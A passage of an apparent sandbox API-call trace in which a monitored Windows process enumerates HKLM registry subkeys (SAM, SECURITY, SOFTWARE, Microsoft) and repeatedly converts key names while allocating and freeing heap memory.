cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbca0 [0259.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1efbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbc58 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbca0) returned 1 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc58) returned 1 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.678] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1efb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbc58 [0259.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1efbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbca0 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc58) returned 1 [0259.721] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbca0) returned 1 [0259.722] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1efb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.722] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.723] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbca0 [0259.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1efbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.723] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbc58 [0259.723] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbca0) returned 1 [0259.723] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc58) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.724] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1efb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbc58 [0259.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1efbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbca0 [0259.724] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc58) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbca0) returned 1 [0259.724] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.724] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x184) returned 0x1efd040 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbca0 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbc58 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbce8 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbd30 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbd78 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbdc0 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbe08 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbe50 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbe98 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbee0 [0259.724] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbf28 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbf70 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbfb8 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc000 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc048 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc090 [0259.725] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.725] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1efb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x1efc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.725] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.725] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x1efb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0259.725] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.725] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.725] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.725] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x1efb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.726] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x1efb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.726] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x1efb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0259.726] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.727] RegEnumKeyW (in: hKey=0x90, dwIndex=0x5, lpName=0x1efb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.727] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.727] RegEnumKeyW (in: hKey=0x90, dwIndex=0x6, lpName=0x1efb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x1efc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.727] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.727] RegOpenKeyExW (in: hKey=0x90, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0259.727] RegCloseKey (hKey=0x90) returned 0x0 [0259.727] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x1efb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.727] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x1efb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x1efc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x1efb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x1efb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x1efc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0259.728] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x1efb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x1efb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x1efb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0259.729] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.729] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x1efb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x1efc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0259.730] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.730] RtlFreeHeap 